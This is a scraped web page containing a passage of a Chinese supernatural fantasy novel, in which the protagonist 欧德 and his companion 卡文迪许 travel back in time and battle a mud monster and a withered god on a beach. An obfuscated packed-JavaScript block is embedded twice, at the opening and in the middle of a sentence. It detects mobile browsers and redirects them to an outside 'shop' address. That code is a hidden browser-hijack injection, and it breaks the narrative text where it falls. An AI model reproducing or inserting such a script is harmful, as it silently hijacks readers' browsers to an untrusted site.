;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16582583|186626||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “——恰好从大衮的巢穴里出来。好消息,你不用再打一遍大衮了。” 卡文迪许步履稳健地跟在欧德身后踏上最后一层台阶,随后侧过脸听了一会,也不知道听到了什么,满意地微微颔首,才“啪”地一下轻拍开欧德在时钟边扒拉的手:“这不是猫罐头。你要把里面的结晶拽断了。” “……”欧德的舌头抵了一下腮帮,忍耐地说,“你能快点吗?” “我可以。但……”卡文迪许在某位小王子准备暴起虐蛇前及时结束大喘气,“我以为你一开始想赶来教堂,就是为了查看这个时钟的使用记录?” 卡文迪许轻扣了两下钟表底板,一行血字立即在时钟顶部浮现:“我——” 卡文迪许的声音忽然卡住了,脸色差得像在扮演青蛇。 相比之下,欧德只是抬头扫了一眼从三米高的钟表顶部,一路写到底部的自己的名字,就继续催促:“快点,这没什么好看的。逆转了很多次,能猜到。” 他最近没少做梦,看着那些千姿百态的尸体,就能肯定这时钟在过去应当和他结下过很深的不解之缘。 卡文迪许欲言又止,止又欲言,好在手上的动作没耽搁,不然欧德非得一脚把他踹下塔楼不可:“我能问问……这位小王子为什么这么能死吗?看起来他根本不需要毒蛇的帮助——”就能死出很多花样。 “也许你更应该问问这宇宙的生物多样性怎么这么丰富。”欧德晃悠到时钟边新漆的石墙边,皱着眉摸了摸一尘不染的新漆层,“这里是不是有刻z——” 时间飞逝。 欧德后半个没说出口的字被拉成一线,直到他骤然撞进3个小时前,他刚从海沟里游出来的身体:‘……字。’ ‘什么?’卡文迪许解开系在自己手腕上的海草,向前盲摸了一下,‘你在哪?’ 欧德在心里骂了一百遍该快的时候不快,该慢的时候不慢的毒蛇先生,伸手不是很温柔地抓住卡文迪许:‘去晾鱼场。快!’ · 9:00a.m,晾鱼场边的流浪者安置所门口。 “行了!你们这一家三口的……小孩儿在这儿赖着不走也就算了,喊大人来,大人也跟着赖算什么?这安置所是给流浪者准备的,又不是给你们准备的。” 洗完澡,换了一套干净衣服的警长哈欠连天,推着萝拉一家往外赶:“赶紧回家吧!啊。我们忙着呢——密林大火的原因还没查明白,学校紧跟着又塌方了。幸好不严重,学生没事——诶,还有啊,最近别往教堂跑,那边……你们在听吗?!” 萝拉一家三口互相搀扶着,都红着眼睛,神色发木。 跨出门槛时,在安置所里一直闷声不吭了十来个小时的萝拉终于压抑不住,嘶哑地喊了一声,一下抱住父母大哭出声:“我想长大!!为什么我这么弱小?!我想有力量……我想学医,我想救下那个疯子!但我一件想做的事都做不到!!我——” 母亲紧紧抱住萝拉,将萝拉因无能为力而撕心裂肺的哭喊闷在怀里:“你会去学医的。我会想办法……办法总是比想得多,我保证。” “听着,”萝拉母亲看向丈夫,“我记得瑞德医生和你关系不错?为什么不能请他在闲余的时间来我们的农庄做家庭教师?我确定我们能支付给他一份让他满意的薪酬。” 萝拉父亲张了张嘴,但终究没能把那句“我们不等那位欧德先生了吗”说出口,成年人和孩童最大的区别是有时得分辨得清徒劳的幻想和残酷现实:“……没错。我们回去,我马上就联系——” “轰!” 海面的方向突然传来重物砸落水面的巨响。 萝拉一家不约而同地眼中一亮,心头涌起无限的希望。他们猛然回头,看清海面上的事物时,那点期待霎时和血色一道褪去了:“怪……怪物!快!回招待所去!!” “轰——” 海面上,一只庞大如山的黑色泥怪扑入水中,臃肿的身体掀起滔天巨浪,上涌的海水眨眼将大半个晾鱼场的晾架摧折。 被黑泥怪追逐的是一道瘦小的影子,祂像个干瘪的婴儿,树枝似的前爪始终僵直地前伸着,好像想抓够什么东西,后腿像是被什么东西绑住了似的紧闭着向前拖曳着移动,速度居然不慢。 黑泥怪咆哮着伸出肥胖的手,想攥住眼前乱窜的美食,然而那干瘪婴儿实在太快了,一眨眼就窜到了海岸上。停顿了一瞬,就向着躲闪不及的萝拉一家猛然扑去! “不……”警长全凭下意识地蹿出来挡在镇民面前,恐惧晚了半秒才后知后觉地涌上他的脸,“救——” 欧德和卡文迪许,就是在这一刻赶到海滩上的。 脚下尚未站稳,欧德就凭着敏锐的动态视觉将战场局面扫了一遍,旋即果断拔.枪,一枚子弹逼退了冲向萝拉一家的干瘪婴儿。 没给自己留任何喘息的时间,他紧跟着绷紧肌肉,横冲入进黑泥怪的追击路线,抬起在钟塔上等待卡文迪许磨蹭时,画好了新学的炼金术阵的右手,迎向山峦一样倾轧而来的怪物! “?”卡文迪许站在海滩边若有所觉,循迹望来。 山峦凝滞,时间在这一刻于海风中静止。 19.第 19 章 百米高的怪物带起的风仍随着惯性扑上沙滩。 萝拉在发丝飞扬间,呆呆地仰头看着面前的背影,过了数秒,因生死一瞬而提起的心脏才渐渐恢复搏动……而后越跳越快、越跳越快,直至血液冲刷耳膜,心跳声躁如擂鼓! 前所未有的希望和力量感从前方逆光的背影上辐射而出,如此汹涌地冲刷着她,让她在大起大落导致的脱力间,又生出一种着了魔似的心驰神往: 她多么想能拿起武器,和面前这个人一起共赴战场啊……那么死亡也必将是热烈而喧嚣的! “咕……” 被静止的庞然巨物忽地转动了一下眼珠,晶状体裹在黏液中,发出粘稠的声音。 “……”欧德瞳孔微缩,在看清黑泥眼中倒映着的、从背后飞扑向他的干瘪身影的瞬间,意识到自己做了一个错误的决定。 婴尸会在急于逃脱时,将目标从萝拉改换成他,说明在对方眼中,他和萝拉一样好对付。 而处于猎捕中的黑泥怪将视线转向他,则说明比起抓到美味的猎物,他的时间炼金阵让黑泥怪感到了更大的威胁。 按照这些迹象推论排序,他们三者的实力应该是黑泥怪强于婴尸,婴尸强于他。 他本该先配合黑泥怪一起解决婴尸,然后再反水……然而他却在情急之下做出了最糟的选择,致使黑泥怪和婴尸一同将注意对准了他! 更糟糕的是,时间炼金阵所讨要的代价远超他的预期。只是这么一眨眼的功夫,甚至不够背后的婴尸沾上他,他就已经感到浑身的力气和温度都在被虹吸而走,腿下一软。 “嘶……沙!”裹挟着死亡气息的尘沙像淬了毒的箭一样飞射向他。 欧德用力咬了一下舌尖,当机立断切断炼金阵,横枪一挡,借着尘中的婴尸冲向他的力量飞摔出去,用胳臂腿勉强支撑了一下,连滚数遭才在卡文迪许身侧止住惯性。 “我说过你打不过他们的。需要帮助吗?”卡文迪许轻飘飘的声音从头顶砸落,一只不论何时似乎都稳如磐石的手搭上欧德的肩膀,状似体贴地搀扶。 然而欧德的脑海中全是刚刚与婴尸正对上时的那一眼—— 敌人是惊惶的、濒临绝境的。那股想要活下来的绝望情绪和沙砾一道抚上他的面庞,而如果欧德对这具婴尸的身份没有猜错,尘沙都已经贴上皮肤了还没将他变成一捧灰,这无疑证明了这个藏身于尘齑中、多半就是夸切乌陶斯的“神祇”正处于虚弱状态。 想想吧!想想被夸切乌陶斯莫名其妙召来捕梦小镇的沙尘之子们,想想他们不顾危险、日复一日蹲在密林边究竟在做什么? 会是为了救自己的神明逃出捕梦小镇吗?夸切乌陶斯为什么会如此虚弱?究竟是谁建起的这片笼罩在小镇边缘的屏障,目的是什么? 这一切,会和犹格索托斯……和卡文迪许有关吗? 搭在肩膀上的手掌在恍然间仿佛忽然变成了毒蛇,冲着他嘶嘶吐信。欧德出了一身的冷汗,面上仍旧如常地掸开卡文迪许的手,撑着膝盖自己站起身:“谁需要帮忙?呆在这儿,好好看着。” 卡文迪许说:“我看不见。” 欧德却灵活地转了一圈手中镀银的手枪,哂笑道:“那不是恰好能看得更清楚吗?” 下一秒,黑色的泥山轰然压顶。 欧德丝毫不留体面地一脚踹开还杵在原地的卡文迪许,反手一枪彻底拉稳了黑泥怪的仇恨,带着一大一小两尊死神疾驰向远离人群的海面。 “快!趁着这会儿快走!往内陆去!”警长连滚带爬地冲上因海水冲刷变得泥泞难走的沙滩,使劲将一个栽倒在地的晾鱼婆架起来,另一只胳膊又去扶被海浪拍倒在地的镇政府会计,“去农田!别去教堂!!快!!” 几个跟他一起来的青壮年警员迅速上前,接过他手上的人,警长又赶紧去敦促周围还在傻眼的人逃命:“别看了……别看了!想死啊你!!萝拉,萝——” 警长还以为萝拉一家会是最难劝走的,指不定这三个憨货非得杵在这儿守到战斗结束,没想到他人还没跌撞到萝拉面前,小姑娘就已经头也不回地转身往海滩的反方向冲:“呃,诶!你去哪儿啊!你爸妈还没跟上呢!!” “她去找瑞德医生了。”萝拉母亲一把将左脚陷进沙泥坑的警长拔.出来,“警局里还有多少把闲置的枪?” “什么?”警长实在跟不上这家人跳脱的思路,“你想做什么?枪支在我们局里是严格管辖物品,哪有闲置的——而且,难道你想拿警局配发的枪打这些怪物吗?!这枪都未必有你们家里的猎枪好使!” 萝拉母亲攥着警长,冷静而迅速地说:“去救萝拉前,欧德先生问我们借过枪,他需要枪作为武器。你看他现在手上的枪,不是我们家的那把,那意味着——” “他自己有枪?”警长还在提心吊胆地看着沙滩上正在努力撤退的人群。 萝拉母亲:“——不。如果他自己有枪何必问我们再借?那意味着枪对于他来说是消耗品!我们没法跟他并肩作战,至少能保障他手头上武器够用吧?” 警长慢半拍地反应过来,回头时就见萝拉父亲已经一脚深一脚浅地往聚居区的方向跑了,看来是想向镇民借到更好的私人用枪。 与此同时,浅滩区。 欧德因沙滩冷不丁的震动,脚下一错,身体向前倒去。 他反应很快地当场拧转腰身,一只手还撑着地,身体没完全翻过来,另一只手就先举起枪向头顶盲射:“乓!乓乓乓乓!” 不确定子弹是否能对巍峨如山的黑泥怪造成伤害,欧德直接下狠劲扣动扳机,子弹霎时喷涌出去。 直追而下的黑山中央瞬间被撕开一道垂直向上的甬道,虽然没能贯穿怪物,但好歹让欧德避开了被压成肉饼的倒霉命运。 怪物吃痛,霎时发出哀嚎。 欧德趁机从向后翻滚的怪物身体里钻出来,正用力向下一甩,想甩开堵在枪口、蠕动着的灰色泥浆,脚下湿润泥泞的沙坑中倏然翻出气泡。 一缕干燥的沙尘从水下泥坑中疾射而出,如同尖锥一般霎时将枪从枪口捅穿到枪尾! “?!”欧德骤然松手,在沙尘彻底将手枪削成塑料花前向侧闪开。正想着情况有点棘手,就听远滩传来一声呼喝:“先生——” 欧德眉心一跳,不禁皱眉侧头,本想着怎么还有人不撤离,就见三个撸起衣袖的年轻巡警抬着一架沉重粗长,前端并着6根枪管的大家伙,吭哧瘪肚地挪上沙滩。 “…………”欧德眼睛都差点盯直了。如果不是濒死一回,已经排遣完了他大部分的暴躁情绪,他高低得看着1888年版的加特林喃喃一句粗口。 然而背后的两个死神已经阴魂不散地撵上了他,更重要的是:“你们怎么会觉得我能举得动它啊!!” 就因为这一秒的震惊,晚几步闪躲的欧德差点没被身后的泥山碾成一块饼。 然而即使抱着头躲得很狼狈,对加特林的渴望还是让他在缠斗中,忍不住往加特林的方向连续瞟了三眼。 第四眼后。 欧德:“……啊管他呢!” 对重火力的渴望压倒了种种理智分析,他手脚并用地扑到沉重的机关炮后,一边低声啐骂自己“贪吧你就,真死在这儿就搞笑了”,一边用力一摇侧面的曲柄: “嗵嗵嗵嗵……” 炮火骤然绽放出纯粹暴力的美学。 被当头射中的夸切乌陶斯硬是被阻隔了几秒,这几秒恰好够舒爽了一把的欧德抬手狠狠咬破手指,炼金术阵在粗重的炮膛上一呵而就:“没你们的事了,快走!” 几个青年人居然一点畏惧都感觉不到似的硬杵在欧德身后,其中两个甚至掏出了自己的配枪,目光凶狠地看向海面:“不!我们和你一起!那个穿西装的家伙不也没离开吗?” “……”欧德被梗地不由地深吸了一口气,但是没空回头挨个踹人,只能用力一转曲轴,在炮火声中低吼,“那是我养的蛇!!命说不准比海上那两个东西加起来还要长,你们跟他比什么?!” 他不是人,你们也不是人吗??——欧德还有后半句没说,主要是没空。 但站在海岸边的卡文迪许一定是听见他说出口的那几句了,脸上流露出意外的神情,品味几秒后,忽然对着欧德像要点单的客人似的抬了抬手。 欧德看见了,但回复是“滚”。 卡文迪许表示这不公平:“你用石子、口哨、敲船板叫了我很多次,我认为我选择的方式很礼貌。” 欧德回了一声加重的“滚”。 卡文迪许:“我可以帮你削减加特林的重量。” 欧德侍应生在三秒后丝滑地滑到卡文迪许身边:“乐意为您服务,先生。——但您最好搞快点。” 卡文迪许微微挑眉,手上不停:“听起来你提供的是那种最好不要搞快点的服务。” “说得好像你能享受得到似的。”欧德将重量从水泥袋减轻到正常手持枪的加特林架上肩头,向着战场迈进一步。 ——如果卡文迪许能看到欧德,就会发现欧德的状态远不如表现出来的那么游刃有余。 他的脸色已经彻底白了,像所有血色都被吸走。虚弱的冷汗占满额头,将眉宇打湿。 炼金术阵此前并未显现出的副作用,在这此时终于彻底地展现出来。 先前的时间炼金术阵已经汲取走了欧德的大部分生命力,加特林的火力对他的情况而言无异于雪上加霜。 “……我听见你的呼吸声在颤抖。”卡文 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16586825|186626||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迪许忽地微微侧脸,“你的脚步在迟疑。你在畏惧吗?” “我在思考。”欧德说。 他额头上的冷汗越发多了,但依旧在用毫无喘息的火力压制怪物的袭击,同时集中所有精力思考接下来的战术: 生命力耗损成这样,即使再不愿意吃任何一口怪物肉,他也得这么做了。 但不能当着那些还在远处围观的人群吃。必须将怪物们引入海底,免得引起不必要的惊慌。 必须逐个击破,先从容易的下手…… 他必须想一个办法,让黑泥山暂时不能干扰战场。 最终的计划渐渐成型,欧德缓缓呼出一口气。 在这一口实则不超过半秒的气息中,他压下了所有不该有的——或者说该有,但没意义的畏惧,拖沓犹豫的脚步重新变得敏捷利索,踏着脚下的泥沙猝然向深水区冲去。 他的肩膀在这一瞬和卡文迪许的肩膀擦过,带起的风让卡文迪许循着望去,莫名在视野空茫中产生一种错觉,好像飞行员正目睹小王子头也不回地投入死亡的怀抱,从此抛下他独自在地球上做一个孤独等候的过客。 卡文迪许垂在身边的手微微收了一下,脚步立即向前迈了一步。 但在他做出任何干预之前,一连串子弹骤然炮火似的炸在他脚尖前,像无声又轰鸣的警告。 ‘不要上前。’枪声是这么说的。 ‘看着我。’记忆中的欧德是这么说的。 “哗——” 欧德在先,夸切乌陶斯和黑山紧随其后,将海面砸出滔天巨浪。 海浪即将拍向卡文迪许,却被无形之力阻止,像有某种肉眼看不见里的空气墙分隔开数百米高的海浪,又以不容抗拒的力道向侧推开。原本海啸浪涌的海面霎时变得无比平静,连一丝微小的波澜也没有。 卡文迪许就站在海岸边一动不动地看着,追随着他能看见的夸切乌陶斯和那个上不得台面的劣质品,用这些飓风刮过时被掀起的余澜,企图去追寻飓风的身影,去构画那头风暴般的美丽野兽的形容…… 就像那晚,他坐在自己的房间里翻阅着枯燥无味的书籍,却在意外间见证了一场充斥着美丽悖论的死斗,然而无法目睹风暴本身,只能追逐着被飓风撕裂的深潜者时一样。 他指尖下的枯燥文字忽然就有了温度,心脏一般搏动着叩击他的指腹: “‘这是力量的冲击。一种原始的元气,一种基本的力量,一种在这些事物中运动、并使其像巨浪般涌动、如风暴般撞击、如火山般喷发的事物的能力。’ ‘这□□所容纳的力量,冲击着我的意识,如同一阵活生生的风暴;它注入其中,使之充满活力,并使其在力量的洪流中扩张。’[注]” 卡文迪许至今仍旧觉得《海狼》是最契合欧德的书,就像书中说的: “‘他自己就是一场风暴,是那席卷而来的狂怒风暴的核心与精髓。’[注]” 深水区中,欧德骤然止住了游弋的速度,滚烫的加特林枪膛在海水中灼红又变暗。 他因骤然停止的生命抽取中微微舒出一口气,尚未把这口气舒踏实,一股尖锐的疼痛便如他所料的那般,从尾椎骨处骤然刺入,紧跟着沿着脊椎一路向上炸裂。 他在迅速的虚弱中颤抖地抬起左手看了眼,确认自己的每一寸皮肤都在急剧地干瘪骤缩,就像深潜者据点里那些被夸切乌陶斯附身,干缩成木乃伊的沙尘之子一样,便在几乎让眼前发黑的痛楚中堪称畅快得意地咧嘴一笑,硬顶着夸切乌陶斯试图控制他身躯的企图,冲着面前抬起加特林: “嘭。” 炮火在海水中骤然炸开,将欧德反推向后方如同深渊一般逼近的黑泥怪。 ‘?!’夸切乌陶斯的惊骇几乎隔着灵魂刺进欧德的胸膛,然而他们已经向后翻滚着落进黑泥怪张开的巨大裂口中。 电光石火间,夸切乌陶斯急切地从欧德的脊背剖肉而出,然而下一秒,祂就被欧德的手死死攥住了干枯瘦削的前肢。 欧德就这么微微侧仰着头冲祂笑,笑得像个艳鬼:‘跟我一起下地狱吧。’ “嗡……” 黑泥怪骤然鲸吸,彻底将欧德和夸切乌陶斯一齐拖入漆黑的深渊。 急速的涡旋卷得他们在黑泥怪的食道中东嗑西撞,直到他们坠入黑泥怪厚软的胃袋。 周围是一片死寂的黑,但下一瞬,金色的纹路重新在加特林的枪膛上亮起。 欧德的面容因附身而苍老不堪,红发褪尽颜色。但他的眼睛依旧亮得像有鎏金在碧潭中流淌,在黑暗中仿佛散发着灼烫的温度。 他似乎并不在意自己的老朽、伤痛、生死,只对着夸切乌陶斯柔和地笑着,动了动口型: ‘晚安,不要再见。’